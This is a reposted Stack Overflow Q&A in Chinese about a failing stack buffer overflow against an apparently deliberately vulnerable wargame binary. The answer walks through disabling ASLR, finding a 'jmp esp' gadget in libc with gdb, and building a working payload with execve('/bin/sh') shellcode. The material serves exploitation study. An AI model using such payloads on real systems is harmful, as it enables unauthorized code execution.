gpt4 book ai didi

c - 我的缓冲区溢出负载似乎不起作用

转载 作者:行者123 更新时间:2023-11-30 17:44:36 25 4
gpt4 key购买 nike

我正在尝试以下程序的缓冲区溢出:

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]){
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}

我使用此有效负载尝试溢出缓冲区,

./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`** 

但是,它似乎不起作用,只给了我这个结果。

j
X?Rh//shh/bin??S?訴???????????

是的,这几乎是我第一次尝试 BOf,我觉得有效负载末尾的 ret 地址(粗体)似乎不准确。那么,如何将 ret 地址放在 shellcode 的末尾呢?它有什么作用?预先感谢:)

最佳答案

我无法告诉您您的返回代码是否正确,因为我不知道您打算返回哪里。

使用“-fno-stack-protector -z execstack”编译此代码并禁用地址 ASLR(echo 0 >/proc/sys/kernel/randomize_va_space),我的缓冲区如下所示:

# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')

在 gdb 中运行它 (gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7"+ "\xCC"*40')) 并转储 esp (x/100x $esp) 显示它直接指向返回地址之后的缓冲区区域,因此如果您可以在内存中的某个位置找到 RET %ESP 指令,让您的返回地址指向它会直接返回到您的缓冲区。

要找到合适的返回地址,您可以执行以下操作(再次假设 ASLR 已禁用):

  1. 查找链接库的地址 - 在我的盒子上显示:

    # ldd orc
    linux-gate.so.1 => (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
    /lib/ld-linux.so.2 (0x80000000)
  2. 使用“find/b [start-search-address], [end-search-address], [stuff-to-搜索]”。

    # gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
    gdb$ b main
    Breakpoint 1 at 0x8048555: file orc.c, line 12
    gdb$ r
    Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
    12 if (argc < 2)
    gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
    0xb7f88a0f
    0xb7f96b73
    0xb7f96bf3
    ...
    0xb7f96df3
    0xb7f975f3
    0xb7f97673
  3. 选择一个作为返回地址 - 我选择了第一个“0xb7f88a0f”,它作为“\x0f\x8a\xf8\xb7”插入缓冲区。

这应该会让您进入缓冲区,您可以通过在返回地址后面放置一堆断点('\xCC')并在 gdb 中运行程序来再次验证该缓冲区,如上所示。执行应该在返回地址之后的地址处中断。验证:

gdb$ x/8x $eip-4
0xbffff43c: 0xb7f88a0f 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff44c: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc

您应该在 EIP 处看到返回地址 - 4 个字节,最终缓冲区应如下所示(不需要 nops):

$(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

关于c - 我的缓冲区溢出负载似乎不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19936115/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com